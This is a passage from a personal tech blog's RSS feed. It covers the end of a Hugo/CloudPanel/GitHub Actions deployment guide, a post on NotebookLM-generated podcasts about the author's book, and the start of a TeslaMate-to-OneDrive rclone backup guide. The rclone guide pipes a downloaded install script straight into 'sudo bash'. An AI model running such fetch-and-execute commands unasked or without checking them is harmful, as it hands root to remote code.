&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#c6a0f6&#34;&gt;name&lt;/span&gt;: Rollback on Failure
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt;: steps.build-site.outcome != &amp;#39;success&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;uses&lt;/span&gt;: appleboy/ssh-action@master
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;with&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#c6a0f6&#34;&gt;host&lt;/span&gt;: ${{ env.SERVER_HOSTNAME }}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#c6a0f6&#34;&gt;username&lt;/span&gt;: ${{ env.SERVER_USERNAME }}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#c6a0f6&#34;&gt;password&lt;/span&gt;: ${{ secrets.SSH_PASSWORD }}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#c6a0f6&#34;&gt;script&lt;/span&gt;: |&lt;span style=&#34;color:#6e738d&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d&#34;&gt;            BACKUP_DIR=&amp;#34;/home/[cloudpanel_username]/backups&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d&#34;&gt;            SITE_DIR=&amp;#34;/home/[cloudpanel_username]/htdocs/blog.desigeek.com&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d&#34;&gt;            LATEST_BACKUP=$(ls -t &amp;#34;$BACKUP_DIR&amp;#34;/*.tar.gz | head -n 1)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d&#34;&gt;            if [[ -n &amp;#34;$LATEST_BACKUP&amp;#34; ]]; then
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d&#34;&gt;              echo &amp;#34;Rolling back to: $LATEST_BACKUP&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d&#34;&gt;              rm -rf &amp;#34;$SITE_DIR&amp;#34;/*
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d&#34;&gt;              tar -xzvf &amp;#34;$LATEST_BACKUP&amp;#34; -C &amp;#34;$SITE_DIR&amp;#34; --strip-components=1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d&#34;&gt;              echo &amp;#34;Rollback successful!&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d&#34;&gt;            else
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d&#34;&gt;              echo &amp;#34;No backups found to rollback to!&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d&#34;&gt;            fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      - &lt;span style=&#34;color:#c6a0f6&#34;&gt;name&lt;/span&gt;: Tailscale Logout
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt;: always()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;run&lt;/span&gt;: |&lt;span style=&#34;color:#6e738d&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d&#34;&gt;          # If Tailscale requires sudo or operator privileges to log out,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d&#34;&gt;          # either configure passwordless sudo or skip this if ephemeral.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d&#34;&gt;          sudo tailscale logout&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: Update &lt;code&gt;/home/[cloudpanel_username]/htdocs/blog.desigeek.com&lt;/code&gt; to match the actual path CloudPanel created. The same applies to the backup directory if you use that mechanism.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;The figures below show an example of when this was building, and one of the validations.
&lt;p&gt;

    &lt;img src=&#34;images/gh-2.png&#34; alt=&#34;Action running&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/gh-3.png&#34; alt=&#34;Validation - Build was successful&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&#34;4-tips--troubleshooting-rotating_light&#34;&gt;4. Tips &amp;amp; Troubleshooting &amp;#x1f6a8;&lt;/h3&gt;
&lt;p&gt;I wanted to share a few things I have learned as I went through and debugged this. Hopefully this will help someone else too.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Permission Denied: Make sure your CloudPanel SSH user has &lt;em&gt;ownership&lt;/em&gt; or &lt;em&gt;group-writable&lt;/em&gt; permission on &lt;code&gt;/home/[cloudpanel_username]/htdocs/blog.desigeek.com&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Rsync Overwrites: The &lt;code&gt;--delete&lt;/code&gt; flag in rsync removes files on the server that no longer exist locally. Remove &amp;lsquo;- delete &amp;rsquo; if you don’t want that behavior.&lt;/li&gt;
&lt;li&gt;Cloudflare Tunnel: If the site is not reachable at &lt;code&gt;blog.desigeek.com&lt;/code&gt;, check your Cloudflare DNS config or the tunnel routing.&lt;/li&gt;
&lt;li&gt;SSH: You might still rely on Tailscale or an open SSH port for SSH since Cloudflare typically only proxies HTTP/HTTPS.&lt;/li&gt;
&lt;li&gt;Tailscale Logout: If you see “Access denied: logout access denied,” you can skip &lt;code&gt;tailscale logout&lt;/code&gt; (ephemeral nodes eventually vanish) or configure passwordless sudo for Tailscale.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id=&#34;5-conclusion&#34;&gt;5. Conclusion&lt;/h3&gt;
&lt;p&gt;By combining CloudPanel for site management, Cloudflare Tunnel for secure external traffic, Tailscale for private networking, and GitHub Actions for automated builds, you get a robust, convenient pipeline to deploy your Hugo blog. &amp;#x1f60d;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CloudPanel simplifies web server config and user management.&lt;/li&gt;
&lt;li&gt;Cloudflare Tunnel ensures secure traffic without exposing direct ports.&lt;/li&gt;
&lt;li&gt;Tailscale provides easy, private SSH if desired.&lt;/li&gt;
&lt;li&gt;GitHub Actions automates the entire Hugo build and deployment process.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now, when you push changes to your repository, your CloudPanel-managed site updates automatically, so no manual FTP or SSH is required!&lt;/p&gt;
&lt;p&gt;Happy Deploying! &amp;#x263a;&amp;#xfe0f;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&#34;further-reading&#34;&gt;Further Reading&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://www.cloudpanel.io/documentation/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		CloudPanel Docs
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://developers.cloudflare.com/cloudflare-one/connections/connect-apps/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Cloudflare Tunnel Docs
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://gohugo.io/documentation/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Hugo Documentation
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://tailscale.com/kb/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Tailscale Documentation
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://docs.github.com/en/actions&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		GitHub Actions Docs
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
</description>
    </item>
    
    <item>
      <title>AI generated Podcast for my book: Generative AI in Action 🎧</title>
      <link>/post/2024/10/ai-generated-book-podcast/</link>
      <pubDate>Sun, 13 Oct 2024 00:00:00 +0000</pubDate>
      
      <guid>/post/2024/10/ai-generated-book-podcast/</guid>
      <description>&lt;p&gt;The one thing I wanted to do after my book &lt;a
	
		href = &#34;https://blog.desigeek.com/post/2024/16/book-release-genai-in-action/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Generative AI in Action
	&lt;/span&gt;
&lt;/a&gt; was complete was to create a summary in natural speech and possibly use TTS (Text-to-speech) to create an audio summary—think of it as a podcast that is easier for people to consume and get a quick sense of what the book is about.&lt;/p&gt;
&lt;h3 id=&#34;tts-text-to-speech-or-not-to-tts&#34;&gt;TTS (Text to Speech) or not to TTS?&lt;/h3&gt;
&lt;p&gt;Initially, I was inclined towards using TTS (Text to Speech) for the audio summary. This technology, I thought, would be a convenient way to create a podcast-like summary that would be easier for people to consume and get a quick sense of what the book is about. My journey began with TTS - using GPT 4o to create a summary after ingesting the book and then using that as into the &lt;a
	
		href = &#34;https://azure.microsoft.com/en-us/products/ai-services/ai-speech&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Azure AI Speech stack
	&lt;/span&gt;
&lt;/a&gt;. However, I stumbled across something intriguing. Instead of TTS, I opted for &lt;a
	
		href = &#34;https://blog.google/technology/ai/notebooklm-google-ai/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		NotebookLM
	&lt;/span&gt;
&lt;/a&gt; from Google Labs to generate the audio overview - the podcast. This decision marked a significant shift in my approach, and I created two podcasts using the content from the book - one from multiple sources and another from a single source (the book).&lt;/p&gt;
&lt;p&gt;NotebookLM is an experimental AI-first notebook from Google Labs designed to help users gain insights faster by grounding the language model in their documents. It aims to assist with synthesizing facts and ideas from multiple sources, making connections quicker and easier. It can help users understand, summarize, and generate new ideas based on their content. What is fascinating is that it can generate audio, which is a natural dialog between two people - with wit, humor, and a natural flow. It is like conversing with someone who has read the book and is summarizing it for you. And if I hadn’t told you that this was AI-generated, it would be hard to tell that it was not a real conversation.&lt;/p&gt;
&lt;h3 id=&#34;the-podcasts&#34;&gt;The &amp;ldquo;Podcasts&amp;rdquo;&lt;/h3&gt;
&lt;p&gt;For the first audio generation, the multiple sources I used were:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The book, and my &lt;a
	
		href = &#34;https://blog.desigeek.com/post/2024/16/book-release-genai-in-action/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		blog post
	&lt;/span&gt;
&lt;/a&gt; announcing the book&lt;/li&gt;
&lt;li&gt;A real podcast I did with Miko on his podcast &lt;a
	
		href = &#34;https://youtu.be/ocFzIBh2t9Y?si=DuPM41_WoyOnBiIV&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Hockeystick
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;And another real podcast with Jamie on his podcast &lt;a
	
		href = &#34;https://www.youtube.com/watch?v=1rlENMGjyWM&amp;amp;ab_channel=JamieTaylor&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		The modern .NET show
	&lt;/span&gt;
&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For the second audio generation I only used a single source - the book.&lt;/p&gt;
&lt;p&gt;The results of the AI-generated audio are truly impressive. In each instance, the audio was produced in a natural voice, simulating a genuine conversation between two people. The quality of the audio, the conversation, and the flow are nothing short of mind-blowing. Even in the second audio, where some acronyms were not pronounced correctly, it&amp;rsquo;s a minor issue, considering the audio was generated in just a few minutes with the press of a button. I was genuinely surprised at the level of realism and natural flow in the conversation. &amp;#x1f92f;&lt;/p&gt;
&lt;p&gt;Have a listen and let me know what you think.&lt;/p&gt;
&lt;h3 id=&#34;podcast-summary-1---using-multiple-sources&#34;&gt;Podcast Summary 1 - using multiple sources&lt;/h3&gt;
&lt;p&gt;The sources provide a comprehensive overview of generative AI and its application within enterprises. The first source, a YouTube video transcript, features an interview with Amit Bahree, a technical program manager at Microsoft, who discusses the rise of large language models (LLMs) and their potential impact on society. The second source, a book excerpt, delves into the technical aspects of generative AI, covering foundational models, large language models, retrieval-augmented generation, and the architectural principles for building generative AI applications. The book also explores various use cases, including image generation, code generation, and the ethical considerations surrounding the use of generative AI.&lt;/p&gt;
&lt;!-- 




&lt;figure &gt;
  &lt;audio controls class=&#34;player&#34; preload=&#34;metadata&#34;&gt;
    
    &lt;source src=&#34;https://www.desigeek.com/book/genai/podcast/Book_Podcast-multiple_sources.wav&#34;&gt;
  &lt;/audio&gt;
  
  &lt;figcaption&gt;Book Podcast - using multiple sources&lt;/figcaption&gt;
&lt;/figure&gt; --&gt;


&lt;div&gt;
  &lt;figure&gt;
    &lt;audio
      controls
      src=&#34;https://www.desigeek.com/book/genai/podcast/Book_Podcast-multiple_sources.wav&#34;
      title=&#34;Book Podcast - using multiple sources&#34;
      style=&#34;width: 50%&#34;&gt;
      Your browser does not support the &lt;code&gt;audio&lt;/code&gt; element.
    &lt;/audio&gt;
    &lt;figcaption&gt;Book Podcast - using multiple sources&lt;/figcaption&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;h3 id=&#34;podcast-summary-2---using-single-source-the-book&#34;&gt;Podcast Summary 2 - using single source (the book)&lt;/h3&gt;
&lt;p&gt;This book is a comprehensive guide to Generative AI, focusing on how this transformative technology can be leveraged within an enterprise. It explains core concepts like foundational models and large language models (LLMs) as well as practical applications for generating various content, including text, images, code, audio, and video. The book also explores responsible AI practices, highlighting the importance of prompt engineering, ethical considerations, and security measures for implementing these technologies. The author emphasizes the need for careful evaluation, monitoring, and scalability when deploying Generative AI models in a production environment.&lt;/p&gt;
&lt;!-- 





&lt;figure &gt;
  &lt;audio controls class=&#34;player&#34; preload=&#34;metadata&#34;&gt;
    
    &lt;source src=&#34;https://www.desigeek.com/book/genai/podcast/Book_Podcast-book_only.wav&#34;&gt;
  &lt;/audio&gt;
  
  &lt;figcaption&gt;Book Podcast - using sinle source&lt;/figcaption&gt;
&lt;/figure&gt; --&gt;


&lt;div&gt;
  &lt;figure&gt;
    &lt;audio
      controls
      src=&#34;https://www.desigeek.com/book/genai/podcast/Book_Podcast-book_only.wav&#34;
      title=&#34;Book Podcast - using single source&#34;
      style=&#34;width: 50%&#34;&gt;
      Your browser does not support the &lt;code&gt;audio&lt;/code&gt; element.
    &lt;/audio&gt;
    &lt;figcaption&gt;Book Podcast - using single source&lt;/figcaption&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;AI-generated podcasts showcase the potential of AI to revolutionize content creation. Generating natural-sounding audio summaries from text is a game-changer for authors, creators, and educators. As AI continues to advance, we anticipate more opportunities to improve how we access information. I am excited to explore the new possibilities in AI-generated content.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Backing up TeslaMate data to OneDrive</title>
      <link>/post/2024/07/backing-teslamate-to-onedrive/</link>
      <pubDate>Fri, 05 Jul 2024 00:00:00 +0000</pubDate>
      
      <guid>/post/2024/07/backing-teslamate-to-onedrive/</guid>
      <description>&lt;p&gt;I have been running a couple of instances of Teslamate - one locally on a server at home and another in Azure in a Ubuntu VM (see 👉 &lt;a
	
		href = &#34;https://blog.desigeek.com/post/2021/12/how-to-run-teslamate-on-azure/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		this blog post
	&lt;/span&gt;
&lt;/a&gt; for details). I have been backing up the data to a NAS and then an offsite backup for the local instance. For the Azure instance, I have been running various backups during the day and backing up the data to OneDrive. This allows me to have a data backup in case the VM crashes or the data gets corrupted.&lt;/p&gt;
&lt;p&gt;Work and AI have kept me busy, and I have not had a chance to write about it until now. I have a ton of storage on OneDrive, which seemed the most logical place to store it. Multiple options are available to back up data to OneDrive. The one that has been working consistently and well for me is &lt;code&gt;rclone&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&#34;what-is-rclone&#34;&gt;What is Rclone?&lt;/h2&gt;
&lt;p&gt;&lt;a
	
		href = &#34;https://rclone.org&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Rclone
	&lt;/span&gt;
&lt;/a&gt; Rclone is an open-source command-line tool for managing files across various cloud storage services. It supports over 70 providers, including Google Drive, Amazon S3, Dropbox, and Microsoft OneDrive. Rclone allows users to perform operations like copying, moving, syncing, and deleting files and more advanced tasks such as encryption, compression, and chunking. Additionally, it can mount cloud storage as a local drive, facilitating seamless file access and management.&lt;/p&gt;
&lt;p&gt;Known as the &amp;ldquo;Swiss army knife of cloud storage,&amp;rdquo; Rclone is highly versatile and can be integrated into scripts for automating complex file operations. Its ability to act as a bridge between different cloud providers makes it an invaluable tool for efficiently transferring files and managing cloud storage environments.&lt;/p&gt;
&lt;h3 id=&#34;step-1-setting-up-rclone&#34;&gt;Step 1: Setting up Rclone&lt;/h3&gt;
&lt;p&gt;The base assumption is that you have a working instance of Teslamate running in a docker container on a Linux machine. Rclone is also available for Windows and Mac, and you can follow the [instructions] (&lt;a
	
		href = &#34;https://rclone.org/install/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://rclone.org/install/
	&lt;/span&gt;
&lt;/a&gt;) to install it on those platforms. Let us start by outlining how to install &lt;code&gt;rclone&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;First, let&amp;rsquo;s install &lt;code&gt;rclone&lt;/code&gt; on your system. You can download and install it using the following commands:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl https://rclone.org/install.sh | sudo bash&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id=&#34;step-11---configuring-rclone-with-onedrive-&#34;&gt;Step 1.1 - Configuring Rclone with OneDrive ☁️&lt;/h3&gt;
&lt;p&gt;After installing &lt;code&gt;rclone&lt;/code&gt;, we need to configure it to use OneDrive. Rclone has &lt;a
	
		href = &#34;https://rclone.org/onedrive/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		detailed steps
	&lt;/span&gt;
&lt;/a&gt; on how to configure OneDrive. I show some of them here on how to run the following command to start the configuration process:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rclone config&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;You&amp;rsquo;ll be prompted with several questions about setting up a new remote. Here is an example configuration for OneDrive:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;No remotes found - make a new one
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;n) New remote
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;r) Rename remote
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;c) Copy remote
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;s) Set configuration password
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;q) Quit config
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;n/r/c/s/q&amp;gt; n
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;name&amp;gt; onedrive
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Type of storage to configure.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Choose a number from below, or type in your own value.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;24 / Microsoft OneDrive
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   \ &amp;#34;onedrive&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Storage&amp;gt; 24
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Microsoft App Client Id
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Leave blank normally.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;client_id&amp;gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Microsoft App Client Secret
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Leave blank normally.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;client_secret&amp;gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Edit advanced config? (y/n)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;y) Yes
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;n) No
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;y/n&amp;gt; n
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Use auto config?
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; * Say Y if not sure
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; * Say N if you are working on a remote or headless machine
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;y) Yes
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;n) No
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;y/n&amp;gt; y&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;For the last prompt (auto config), if you are on a headless machine (e.g., you had SSH&amp;rsquo;d into a server to set this up), you can say n, and it will give you a URL to open in a browser to authenticate - as these require OAuth2. On the host (from which you are connected), you can authenticate and get the token, which you can paste into the terminal window. If the browser does not open, you can open your local browser and navigate to &lt;code&gt;http://127.0.0.1:53682/auth&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If you are on SSH, you might need to create an SSH tunnel over port 53682 to your local machine using the following command:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ssh -L localhost:53682:localhost:53682 username@remote_server&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;For more details on how to do this, refer to the &lt;a
	
		href = &#34;https://rclone.org/remote_setup/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		rclone remote setup
	&lt;/span&gt;
&lt;/a&gt; documentation.&lt;/p&gt;
&lt;p&gt;It is important to remember the &lt;strong&gt;name&lt;/strong&gt; you give to the remote, as you will need it in the backup script later. In our example, we called it &lt;strong&gt;&lt;code&gt;onedrive&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Also, note that the &lt;code&gt;rclone&lt;/code&gt; configuration is stored in the &lt;code&gt;.config&lt;/code&gt; directory in the user&amp;rsquo;s home directory. The configuration file is named &lt;code&gt;rclone.conf&lt;/code&gt; and contains the details of the remotes you have configured. You can view the configuration file by running:&lt;/p&gt;
